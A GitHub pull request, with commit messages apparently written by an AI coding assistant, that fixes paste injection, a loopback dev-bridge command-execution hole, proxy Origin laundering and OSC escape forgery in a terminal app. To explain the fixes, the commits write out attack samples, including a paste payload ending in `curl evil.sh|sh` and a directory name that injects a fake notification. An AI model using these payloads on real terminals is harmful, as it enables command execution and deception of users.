Close the four security-audit findings: paste injection, dev-bridge RCE, proxy origin laundering, OSC forgery - #453
Conversation
Clipboard text went into `\x1b[200~`…`\x1b[201~` verbatim, so content holding its own `\x1b[201~` closed the bracket early and everything after it reached the shell as ordinary typed input — newlines included, which submit. Copying `git status\x1b[201~\ncurl evil.sh|sh\n` from a hostile page and pasting it ran the second command with no further user action. Bracketing is the whole defense here: mouse-and-clipboard.md §8.6 puts multi-line paste confirmation out of scope, so nothing else stands between clipboard content and the shell. And this is not the usual known terminal hazard — we reimplemented bracketing and dropped the sanitization the library we embed already does. xterm's `bracketTextForPaste` replaces every ESC in the payload with a visible U+241B; `writePasteToPty` calls `writePty` directly (the comment right below it says so), so that never ran. Match the library exactly rather than stripping the one known terminator: neutralizing the whole class is not something a new sequence can walk around, and a visible U+241B shows the user something was defanged instead of making bytes disappear. Filtering at `writePasteToPty` also covers file-path pastes, which share the writer and can carry ESC in a path just as easily. The unbracketed branch stays byte-for-byte, again matching xterm: without brackets the inside program has not asked to tell pasted bytes from typed ones, so there is no boundary left to protect and filtering would only break a deliberate paste of an escape sequence. Found by the security audit's catch-all domain (B1), which only reached `lib/` once the catch-all was defined by subtraction. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
`pnpm dev:standalone:ab` served an HTTP bridge on 127.0.0.1:1422 with no token, no Origin check, no Host check, and `access-control-allow-origin: *`. `POST /__dormouse_dev_host/send` dispatches into `fireAndForget`, whose `pty_spawn` reaches `resolveSpawnConfig` — which honours caller-supplied `shell`, `args`, `cwd` and `env`. And `readJson` ignored the content-type, making the endpoint CORS-*simple*: any page open in the developer's browser could POST to it `no-cors`, with no preflight to survive and no need to read the reply. That is arbitrary command execution as the developer, and `*` additionally made `read_clipboard_text` readable cross-origin. Loopback is not the boundary here. The attacker is a tab in the developer's own browser, and it reaches 127.0.0.1 as easily as the dev page does. No shipped artifact is affected — the adapter is gated behind `VITE_DORMOUSE_BROWSER_DEV_HOST` — but the blast radius is maintainer and CI-agent machines, which is where SECURITY.md's Automated Maintainer threat model puts the value. Four gates, in `dev-host-guard.mjs`: - Every request carries `?t=<token>`, a per-run credential compared with `timingSafeEqual` over SHA-256 digests, so a wrong-length guess is refused rather than throwing. It rides the query rather than an `Authorization` header because `EventSource` cannot set headers and `/events` must be gated too. A separate token from `controlToken`: that one goes to every shell the harness spawns, and the bridge's circle is smaller. - `Host` must name loopback, against DNS rebinding — a hostile domain re-resolved to 127.0.0.1 arrives with its own name and the browser calls it same-origin, so CORS never applies. - POST bodies must be `application/json`, which forces a preflight that a foreign origin cannot pass. This is the lock that closes the no-cors trick. - ACAO names the Vite origin exactly, never `*`, on the SSE response too. The gate runs before routing and before any body read, and refuses with the same 404 as an unknown path so the port does not identify itself. Costs the agent nothing: the token reaches the page through the env var the harness already sets, `BrowserSidecarHost.url()` is the single place that attaches it, and `agent-browser` drives the Vite origin, never the bridge. The harness prints the token and a ready-made curl for driving it by hand. The guard is its own module because `dev-agent-browser.mjs` spawns Vite, the sidecar and agent-browser at import time, so nothing in it is reachable from a test. Verified live as well as in unit tests: a booted harness spawned panes and mirrored console through the gate over 12 page-side calls, while an unauthenticated `pty_spawn`, a wrong token, a foreign Host, a non-JSON body, and an unauthenticated `read_clipboard_text` all got 404 and never executed. Found by the security audit's catch-all domain (B2). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
…e the rule W8, and the other half of B2. Both findings are the same mistake in two places: a loopback bind mistaken for an access control. `127.0.0.1` keeps out the network, but the attacker is a page in the user's own browser, which reaches loopback exactly as easily as our webview does, and an ephemeral port is not a secret — the range scans in seconds. There are exactly three such listeners, and one already got it right. The VS Code stream relay demands a single-use 64-hex token, TTL-bounded and pinned to one target port, and drops `Origin` rather than rewriting it. The dev bridge now has its own gates. The iframe proxy had neither — and worse, it *vouched*: if (headers.origin) headers.origin = grant.upstream.origin; unconditionally relabelling the caller as the upstream itself. That is not just an unauthenticated endpoint, it is an amplifier. Any page could POST to a grant and have its `Origin: https://evil.example` presented upstream as same-origin, defeating precisely the origin check the rewrite exists to satisfy. It costs most on the upgrade path: WebSockets are not subject to CORS, so a laundered `Origin` yields a *readable* socket to a dev server or openvscode-server that would have refused the real one. So the fix is honesty rather than a lock, which is also why it changes no framing behaviour: - `Host` must name the grant's own port, on both paths — that is what makes DNS rebinding fail, and it is load-bearing here because no credential is possible. - `Origin` is rewritten only for a caller we served. A foreign `Origin` is forwarded untouched rather than blocked, so the upstream sees the truth and applies its own policy — leaving the proxy granting nothing that hitting the upstream's port directly would not. Absent stays absent (ordinary navigation). - `Referer` needed no change: it only substitutes our own proxy origin, so a foreign referer already passed through. A URL token is genuinely unworkable for the proxy (it lands in `location.pathname` and breaks client routers, and never survives onto root-relative sub-resource requests), so the three listeners cannot share a credential. What they share is the question, and that is what `lib/src/host/loopback-guard.ts` holds: `isLoopbackHost`, `isOwnOrigin`, and the rule written down once. The relay deliberately does not call `isLoopbackHost` — rebinding buys nothing against an unguessable one-shot token, so a check there would defend nothing, and saying so beats uniform dead code. The dev harness keeps its own copy: dev-only, unbundled, another package, and a build dependency on TS to share a few lines costs more than the duplication. Named the class in SECURITY.md so the audit enforces it rather than luck, with the listener set derived by search rather than trusted from the list — the same lesson as the catch-all. Claimed the new section in application-security.md in the same edit, since an unclaimed section is owned by nobody, which is exactly how `.vscode/` got orphaned. Found by the security audit's catch-all domain (W8). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
…itted
W1. A POSIX path component may hold any byte but `/` and NUL, and our own
prompt hooks wrote `$PWD` into `OSC 633;P;Cwd=` raw. A hostile program creates
$'/tmp/evil\a\e]9;PWNED\a', the user cds in, and every prompt thereafter emits a
sequence whose BEL ends the `Cwd=` OSC early and hands the remainder to the
parser as a fresh, fully trusted OSC. Verified against the real parser before
the fix:
input: \x1b]633;P;Cwd=/tmp/evil\x07\x1b]9;PWNED\x07rest
events: [{cwd:{path:"/tmp/evil"}},
{notification:{source:"OSC 9",body:"PWNED"}}]
It forges any semantic or alert event in the shell's own voice. OSC 9 is the
worst of them: an alert latches a ring, persists, is spoken aloud, and is pushed
to the paired phone as an OS notification. The injected bytes are consumed by
the parser, so nothing shows on screen, and a poisoned directory re-fires for
anyone who enters it — outliving the process that planted it.
The parser cannot defend against this. Its terminator scan runs on raw bytes, so
by the time it sees them the sequence is already over. That makes the shell
scripts we ship the security boundary, which is why they are now tested by
running the real shells rather than by reasoning about them.
Two fields, two different treatments, because the parser treats them
differently:
- `E` (command line) is decoded (`\xNN`), so BEL, ESC and the C1 ST are now
*escaped* alongside the existing `\`, `;`, LF and CR. Nothing is lost — the
parser decodes them back, so the command line still reports verbatim. The same
break-out existed here: a command line holding a literal BEL escaped
identically.
- `Cwd=` is read verbatim, with no decoding, precisely so a Windows path's
backslashes arrive intact — so escaping is not available and the terminators
are *removed* instead. Backslashes and semicolons are deliberately preserved.
All three terminators are covered, not just BEL: ESC begins ST, and the C1 ST
U+009C is reachable from a filename holding the bytes C2 9C. Under LC_ALL=C that
is two ordinary bytes which `[[:cntrl:]]` does not match — verified on bash 3.2
and zsh, not assumed — so the scripts strip it explicitly before the class.
Verified end to end: a real interactive bash and zsh, run inside a directory
actually named with the injection, now emit `evil]9;PWNED` as inert text, and
feeding those exact bytes to the real parser yields one cwd event and a
promptStart with no notification. (The cwd shows as `evil]9` — `Cwd=` splits on
`;`, which truncates but cannot inject. Pre-existing, cosmetic, left alone.)
pwsh got the same treatment via `\p{Cc}`, written with char codes rather than
`` `e `` so it still works on Windows PowerShell 5.1. It is unverified locally:
pwsh is not installed on this machine, and the test runs bash and zsh only.
Found by the security audit's catch-all domain (W1).
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
Quality pass over the B1/B2/W1/W8 commits. No behavior change except where noted; every gate still verified live against a booted harness and a real hostile directory. **A fork per prompt render, which I introduced.** `$(__dormouse_633_safe_cwd "$PWD")` forked a subshell on every prompt in the user's interactive shell — 0.377 ms/call measured against 0.015 ms for an out-param, a 25x overhead on work that is pure parameter expansion and needs no process. Before the W1 fix that line was a bare `"$PWD"` with no fork at all, so this was a regression, not inherited. The helpers now assign `__dormouse_633_out`. The same applies to `__dormouse_633_escape`, which had the `$(...)` shape already — fixed too, since the change is symmetric and the file should not teach the expensive idiom. Also `$'\302\234'` instead of `$(printf …)`, dropping another fork from every shell start, which is on the pane-open path. **An invariant that contradicted the design it protects.** "FAIL IF any loopback listener admits an unauthenticated caller" would have flagged the iframe proxy on every audit run, because the proxy admits everyone by design and the next bullet mandates it. A rule that cries wolf every run gets tuned out — the exact failure mode the section was added to prevent. Restated in terms of privilege rather than admission, with *admits all, vouches for none* named as a compliant answer. **A header that still taught the mistake.** `iframe-proxy.ts` opened by asserting "the dedicated server + loopback bind is the boundary instead" — the premise that produced W8 — 120 lines above the fix. Rewritten. **The fourth gate was not in the gate.** `isJsonRequest` ran inside `readJson`, so a future route that never parses a body would have silently lost the one control stopping a preflight-free cross-origin `pty_spawn`. Folded into `isAuthorized` for non-GET, which also makes a wrong content-type answer 404 like every other refusal instead of 500. **A test that guarded a replica.** `dev-host-guard.test.mjs` stood up its own server reproducing the handler's gate-then-dispatch order; moving the real `isAuthorized` call below `readJson` would not have failed it. Replaced with assertions against the gate itself. Simplifications: `isOwnOrigin` compares strings, since an `Origin` header is a serialized origin and parsing it only adds ways to be lenient; `url()` copies the base instead of resolving against it, deleting a field, a sentinel and a test; `corsHeaders` is built once rather than per request; the duplicate SSE `access-control-allow-origin` is gone (`writeHead` merges what `setHeader` recorded — verified); one `request()` helper in the proxy tests instead of a copied collector, plus a `beforeEach` for the repeated setup; one fixture carrying all three terminators instead of one shell spawn each; zsh quotes its pattern like bash does; `req.headers.origin` on both proxy paths instead of a `String()` cast that would flatten a header array. Prose: the threat narrative had four owners. It now lives once in terminal-escapes.md, and the enumeration of listeners once in SECURITY.md — which is the file that tells its reader to derive that set by search rather than trust a list, so a second copy in `loopback-guard.ts` was pure drift surface. Skipped, with reasons: routing paste through xterm's `terminal.paste()` would delete our reimplemented bracket entirely, but it changes behavior (newline normalization, `markSessionTouched` via `onData`, and `terminal-command-input.ts`'s expectations) — worth doing deliberately, not in a cleanup. Sharing `proofMatches` with `dor-control-server.js` was proposed on the premise that it is the same package; it is not — `standalone/sidecar` is its own workspace package, so that is the cross-package split already decided. Exporting the OSC terminator set from `terminal-protocol.ts` so the shell test imports it is right in principle but unreachable: the test is CommonJS in another package with no build step. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
Turns the cheap half of SECURITY.md -> "Loopback Listeners" from something an LLM audit notices into something CI does. Two of the three listeners we ship got this wrong at some point, and both were found by the nightly audit rather than by a build — thorough, but probabilistic, and only after the code merged. The check: a tracked, non-test source file that binds a TCP listener to loopback must reference a guard module (`lib/src/host/loopback-guard.ts`, or `standalone/scripts/dev-host-guard.mjs` for the dev harness) or sit on an allowlist with a stated reason. One entry today — the VS Code stream relay, which skips the Host check deliberately because rebinding buys nothing against its single-use token. Two more checks keep the lint from rotting into a no-op, both borrowed from xterm-lint's check 5: - A stale ALLOWED entry — one whose file no longer binds, or no longer exists — is a failure. Otherwise it silently exempts nothing, or worse, the next file to take that path. - Matching zero listeners is a failure, not a pass. That means the bind shape moved and the lint has stopped looking rather than found nothing. Scans `git ls-files` rather than walking the tree, which matters more than it sounds: `standalone/sidecar/iframe-proxy.cjs` is a gitignored esbuild bundle of the very file being checked, so it inherits the guard reference and passed for a reason that says nothing about any source — while making the listener count depend on whether anyone had run a build. The lint also excludes itself, since its own documentation contains the pattern it searches for. Deliberately narrow, and the docstring says so rather than implying coverage it does not have: it cannot tell whether the guard is actually *called* per request, only that the file knows one exists — the audit still owns that. It matches only an explicit loopback host argument, so a bind to every interface is out of scope (server/ does that from config on purpose, so flagging it would be noise). Unix sockets and named pipes are out of scope by design, no browser can reach one. Test fixtures are skipped. Verified by breaking it three ways: a new unguarded listener, a stale allowlist entry, and a moved bind shape each fail with the message that names the fix. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
Deploying mouseterm with
|
| Latest commit: |
ae3f015
|
| Status: | ✅ Deploy successful! |
| Preview URL: | https://aa151135.mouseterm.pages.dev |
| Branch Preview URL: | https://audit-findings-b1-b2-w1-w8.mouseterm.pages.dev |
…s skipped The suite hardcoded `/bin/zsh`. Ubuntu puts zsh in `/usr/bin`, so on CI the `existsSync` filter dropped all six zsh cases and the run went green having covered half of what the file claims to — 123 tests there against 129 locally, with nothing in the output saying why. That is the failure mode worth fixing, more than the missing coverage itself: a silent skip reads exactly like a pass. So resolve each shell off PATH first (then the usual absolute spellings), and print the shells actually covered plus any that were not, every run. bash becomes a hard floor — it is present on every platform we test on, and a run covering neither shell is not a pass. zsh matters here specifically: it is the default shell on macOS, which is Dormouse's primary platform, and these tests are what stand behind an emit-side security fix. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
The previous commit made the skip loud and the log answered the question: zsh is not on the ubuntu runner image at all, so resolving it off PATH changed nothing. It is the default shell on macOS — our primary platform — and these tests are what stand behind an emit-side security fix, where the shell scripts *are* the boundary because the parser cannot defend against a terminator that arrives inside a directory name. Covering only bash was covering half of it. One apt line. The suite now prints the shells it covered every run, so if a future image change drops one, that reads as a change in the log rather than as a green run. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
dormouse-bot
left a comment
There was a problem hiding this comment.
The four fixes hold up. I traced each boundary rather than taking the write-up's word for it:
- W1 —
Cwd=is percent-decoded downstream (cwdFromDecodedPath→safeDecodeURIComponent), so I checked whether a%07-encoded directory name could re-introduce a terminator after parsing. It can't do anything: every consumer ofcwd.pathis display, grouping, or a snapshot field (Wall.tsx,remote/host/directory.ts) — nothing writes it back to a PTY. The emit-side filter is complete for the boundary it claims.node --test standalone/sidecar/shell-integration.test.jspasses here (bash; zsh now installed by54b9293). - W8 — the
Host421 doesn't cost the legitimate paths: the grant URL is alwayshttp://127.0.0.1:<port>, redirects are rewritten toproxyOrigininsanitizeResponseHeaders, and sub-resources inherit the frame's origin. Thevouchflag onhandleUpgradeis applied per-header correctly. - B2 — every call site sets
content-type: application/json(BrowserSidecarHost.send/invoke, the console mirror inbrowser-sidecar-adapter), so the gate's non-GET rule doesn't break anything;writeHead(200, {...})does merge with thesetHeader-recorded CORS headers, so dropping the explicitaccess-control-allow-originfrom the SSE branch is safe. Theagent-browser-host.tsALLOWED entry matches the code it describes (single-use 64-hex token, 60s TTL, port-pinned,origindropped). scripts/loopback-lint.mjs,spec-lint, andxterm-lintall pass from a clean checkout.
Four notes below, none of them blocking.
On pwsh being unverified: \p{Cc} does cover C0, DEL and the C1 range, and [string][char]0x9c is the right 5.1-safe spelling — the logic reads correct, it's just untested. Worth saying that the escape/safe_cwd split there is also the only one of the three where escape still returns a value instead of using the out-param, which is fine (no fork to avoid) but means the three emitters no longer share a shape.
**The lint had the hole it exists to prevent.** `LISTEN_RE` was tested per
line, so a `.listen(` wrapped across lines — routine formatting — escaped the
scan entirely, and check 3 stayed quiet because the other three listeners still
matched. A guard-check that silently misses the shape it guards is worse than
none. Now scanned whole-file (the `\s*` already spans newlines), with the line
number derived from the match offset.
Same note flagged `.listen({ host: '127.0.0.1', port })`, Node's other spelling,
also unmatched. Handled rather than documented as a gap: the "what it
deliberately does NOT do" list is precise enough that a reader will treat it as
exhaustive, so anything cheap to cover belongs covered, and what stays uncovered
belongs on the list. A host built at runtime is now named there as the ceiling
of a textual check. Both new shapes verified to fail the lint with correct line
numbers.
**The zsh install could redden Build & Test for an unrelated reason.** No
`apt-get update` — and runner apt lists are baked at image build, so once the
archive rotates zsh's version the cached Packages entry 404s. Added update,
timeouts and three attempts. Not the full mirror-rotation treatment the
Smoketest job uses; that is a lot of machinery for one package, and the retry
covers the common case.
**The exact-origin ACAO pinned the `localhost` spelling.** A developer opening
`http://127.0.0.1:1420` instead of `http://localhost:1420` got every bridge call
rejected by CORS, where `*` previously accepted both — with a blank terminal and
console errors that do not point at the cause. `corsHeaders` now echoes whichever
of the two loopback spellings the request names. That is exactly as tight:
echoing one of two known-good values for the same dev page, with anything else
still receiving the canonical origin and failing the browser's check. Verified
live against a booted harness — both spellings echoed, `evil.example` and a
wrong port both get the canonical value, and the token/Host/JSON gates all still
answer 404.
**The skill doc said the token is in the page's URL.** It is in the bridge URL
the page is built against, so an agent following that sentence would go hunting
for a `?t=` in the address bar. Corrected, and transport.md now records that the
two loopback spellings are both accepted.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
|
All four fixed in Multi-line I also handled the apt — took the The Skill doc — took your wording, plus an explicit "not into the page's own address, so there is no On the pwsh shape note: agreed, and I left it deliberately. pwsh remains untested; it's the one part of this I can't verify locally. |
|
All four confirmed against I re-derived the new One thing the fix doesn't close, non-blocking: both new branches are matched by nothing in the repo and nothing in a test. All three listeners are single-line positional — Not raising the Regex cases and resultsRun against the
|
dormouse-bot
left a comment
There was a problem hiding this comment.
All four re-verified against the code rather than the write-up.
loopback-lint— I ran the five shapes through the newLISTEN_RE: positional single-line and wrapped, options-object in both key orders and wrapped. All match; UDS (.listen('/tmp/foo.sock')), bare.listen(port)and.listen(port, hostVar)all still don't. The line number is now the line of.listen(rather than the line of the host argument, which is the better anchor for a wrapped call.node scripts/loopback-lint.mjsreportsOK (3 loopback listeners, 1 allowlisted), which matches the three real binds on disk (iframe-proxy.ts,dev-agent-browser.mjs, and the allowlistedagent-browser-host.ts) — so the broadened regex didn't pull in anything new that a straydev-host-guardmention would have silently absorbed. The runtime-host ceiling being named on the "does NOT do" list is the right call.- CORS echo —
vary: originis already there,access-control-allow-credentialsis absent, and the membership test is exact string equality against two literals, so the echo widens nothing. A multi-valuedOriginheader arrives joined with", "and falls through to the canonical value.node --test standalone/scripts/dev-host-guard.test.mjspasses (6/6). - Skill doc /
transport.md— both now matchstartVite, which setsVITE_DORMOUSE_BROWSER_DEV_HOSTtohttp://127.0.0.1:${hostPort}/?t=${bridgeToken}.
Two small things, neither blocking.
One inline below on the apt step's own budget.
The other is a stale reference: inside the SSE branch of startHostServer, the comment reading No access-control-allow-origin here: cors(res) already set it still names the old one-argument signature — it's cors(req, res) now. Grep already set it in standalone/scripts/dev-agent-browser.mjs.
The step capped at 6 minutes but the schedule inside it can run 750s
(3 x (120 update + 120 install) + 2 x 15 sleep). Even the cheaper failure —
`update` dribbling on every attempt — is 390s. So in exactly the failure mode
the retry exists for, Actions killed the step mid-attempt and the `::error::`
line naming the consequence ("would silently cover only bash") never printed:
the run showed a bare timeout instead. 13 minutes covers the worst case.
Also fixes a comment left stale by the CORS echo: the SSE branch still said
`cors(res)` after the signature became `cors(req, res)`.
Note the `Standalone Smoketest` step below has the same shape — 10 minutes
against a 930s worst case — but that is pre-existing and outside this change;
left alone deliberately rather than folded in.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
|
Both fixed in Timeout budget — you're right, and I checked the arithmetic rather than taking it: 3 × (120 update + 120 install) + 2 × 15 sleep = 750s against a 360s cap, and even the update-only-dribbling case is 390s. So the step died mid-attempt in precisely the scenario the retry exists for, and the Stale On the Thanks for the verification pass on the lint regex — checking all five shapes including both key orders of the options object, and confirming UDS / bare-port / runtime-host still don't match, is exactly the part I'd have wanted a second pair of eyes on. The "did the broadened regex pull in anything a stray |
|
Done as a follow-up — #454, off I checked whether the shape recurs anywhere else while I was in there: Nothing outstanding from my side on this PR; the approval stands against |
dormouse-bot
left a comment
There was a problem hiding this comment.
The stale cors(req, res) comment fix is right, and the budget change does what the commit message says. One arithmetic nit on the new comment, inline.
The trailing `sleep 15` ran after the third failure too, so the worst case was 3 x (120 + 120) + 3 x 15 = 765s, not the 750s the comment claimed — 15s of headroom under the 13-minute budget rather than 30s, and thin for exactly the scenario the retry exists to survive. Guarding it makes the comment true and buys the margin back, at the cost of dead time before a step that is already failing. The suggestion came with a second rationale — that `[ ... ] && sleep 15` would, under `bash -e`, exit non-zero on the final iteration and skip the `::error::` line. That part does not reproduce: `set -e` explicitly exempts a command that is part of a `&&` list other than the one following the final `&&`, so both forms run the loop to completion and print the error. Verified both as script files under `bash -e` (bash 3.2 locally; the exemption is documented behavior and unchanged in 5.x, which is what the runner has). Kept `if`/`fi` anyway — it is the clearer spelling — but the comment states the arithmetic reason rather than a shell-semantics one that does not hold, since a wrong reason in a comment outlives the line it justifies. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
|
Fixed in On the Run as script files under I kept On the Smoketest block's matching 10min/930s: still leaving it, still happy to do it as a follow-up. |
dormouse-bot
left a comment
There was a problem hiding this comment.
You're right about bash -e and I was wrong: the exemption covers a failing command anywhere in an && list except the one following the final &&, so [ "$i" -lt 3 ] returning 1 never exits the shell. The arithmetic reason is the one that holds, and putting that in the comment instead of a shell-semantics claim that doesn't reproduce is the right call.
The guard reads correctly: for i in 1 2 3 now sleeps only after attempts 1 and 2, so the comment's 2 x 15 is true and the worst case is 750s under the 780s cap.
One non-blocking leftover inline — the warning text still promises a retry that no longer happens on the third attempt.
|
Here's the 5.x repro you asked for — it doesn't bite there either, so the caveat in your comment can come off. Same result under One bookkeeping note: the Scripts runBoth files run as script arguments, matching how Actions invokes a
for i in 1 2 3; do
false && { echo "installed"; exit 0; }
echo "::warning::attempt $i failed"
[ "$i" -lt 3 ] && sleep 0
done
echo "::error::could not install zsh"
exit 1
Runner image is |
On the third attempt the log read `apt attempt 3 ... retrying in 15s` with the `::error::` on the very next line, so a red run looked like the loop had lost its last attempt. Inaccurate before the sleep guard too — it slept without retrying — and the guard made the other half false as well. The interval is stated in the comment above the step, so the log does not need it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
|
Taken in Thanks for the |
Closes four findings from the security audit run that failed after #452 — the run whose application-security domain returned
VERDICT: FAIL. All four were found by the catch-all domain, which only reachedlib/andstandalone/once #452 defined the catch-all by subtraction rather than by a list. The audit machinery worked; these are the bugs it found.Every fix is verified live, not just in unit tests: a real hostile directory, a booted
dev:standalone:abharness, and a live upstream behind the iframe proxy.B1 — bracketed paste could execute clipboard content (
81eaaf98)clipboard.tswrapped clipboard text in\x1b[200~…\x1b[201~verbatim, so content holding its own\x1b[201~closed the bracket early and everything after it reached the shell as typed input — newlines included, which submit. Copyinggit status\x1b[201~\ncurl evil.sh|sh\nfrom a hostile page and pasting ran the second command with no further user action.Bracketing is the whole defense here (mouse-and-clipboard.md §8.6 puts multi-line paste confirmation out of scope), and we had reimplemented it while dropping the sanitization the library we embed already does. Now matches xterm's
bracketTextForPasteexactly: every ESC becomes a visible U+241B.B2 — the browser-dev bridge was an unauthenticated loopback RCE (
1c097f51)pnpm dev:standalone:abserved127.0.0.1:1422with no token, noOrigin/Hostcheck, andaccess-control-allow-origin: *.POST /__dormouse_dev_host/sendreachespty_spawn, which honours caller-suppliedshell,args,cwdandenv.readJsonignored the content-type, making it CORS-simple — any page open in a developer's browser could POSTno-corswith no preflight to survive.Four gates in a new
dev-host-guard.mjs: per-run token, loopbackHostcheck, required JSON content-type, exact-origin ACAO. Costs the agent nothing — the token rides the env var the harness already sets, andagent-browserdrives the Vite origin, never the bridge.W8 — the iframe proxy vouched for strangers (
fcca5691)Same mistake as B2 in shipped code, and worse: the proxy unconditionally rewrote
Originto the upstream's own, so any page could POST to a grant and be relabelled as same-origin — defeating exactly the check the rewrite exists to satisfy. On the upgrade path it hands out a readable WebSocket, since WebSockets aren't subject to CORS.Fixed by honesty rather than a lock: a foreign
Originis forwarded untouched, so the upstream applies its own policy and the proxy grants nothing that hitting the upstream directly wouldn't. Plus aHostcheck on both paths.W1 — shell integration forged notifications (
a85c2eb5)Our own prompt hooks wrote
$PWDintoOSC 633;P;Cwd=raw. A directory named$'/tmp/evil\a\e]9;PWNED\a'makes every prompt emit a sequence whose BEL ends the OSC early, and the remainder parses as a fresh, fully-trustedOSC 9— which latches a ring, persists, is spoken aloud, and is pushed to the paired phone. Nothing shows on screen, and it re-fires for anyone entering that directory.The parser cannot defend against this: its terminator scan runs on raw bytes, so the sequence is already over. Fixed on the emit side in all three shells, and tested by running real bash and zsh rather than reasoning about them.
Then: cleanup and a lint
ff5eccfbis a/simplifypass. The one that mattered: the W1 fix introduced a subshell fork on every prompt render (0.377 ms vs 0.015 ms for an out-param) — a regression, since that line was previously a bare"$PWD". Also restated aFAIL IFthat contradicted the design it protects and would have flagged the iframe proxy on every audit run.9f632406addsscripts/loopback-lint.mjstopnpm test: a new loopback listener must reference a guard module or be allowlisted with a reason. Two of three listeners got this wrong at some point and both were caught by an audit rather than a build. It deliberately does not claim to be the whole rule — it can see that a file knows a guard exists, not that it's called per request — and the docstring says so.Notes for review
SECURITY.mdgains a## Loopback Listenerssection, claimed byapplication-security.mdin the same commit. An unclaimed section is owned by nobody — the.vscode/orphaning that Close the audit's findings on itself, and run application-security on Opus #452 fixed for directories.\p{Cc}, written with char codes so it works on Windows PowerShell 5.1, but pwsh isn't installed on my machine and the shell test covers bash and zsh only.terminal.paste()would delete our reimplemented bracket entirely, but it needs a DOM-attached xterm that file-drop can't guarantee, and its unconditional\r?\n → \rwould corrupt file paths thatshellEscapePosixquotes precisely to preserve. Separately,inputContainsEnter(data.includes('\r')) knows nothing about bracketed paste, so a native multi-line paste clears a pane's TODO though nothing was submitted — a live bug on xterm's own paste path, left for its own change.🤖 Generated with Claude Code
https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5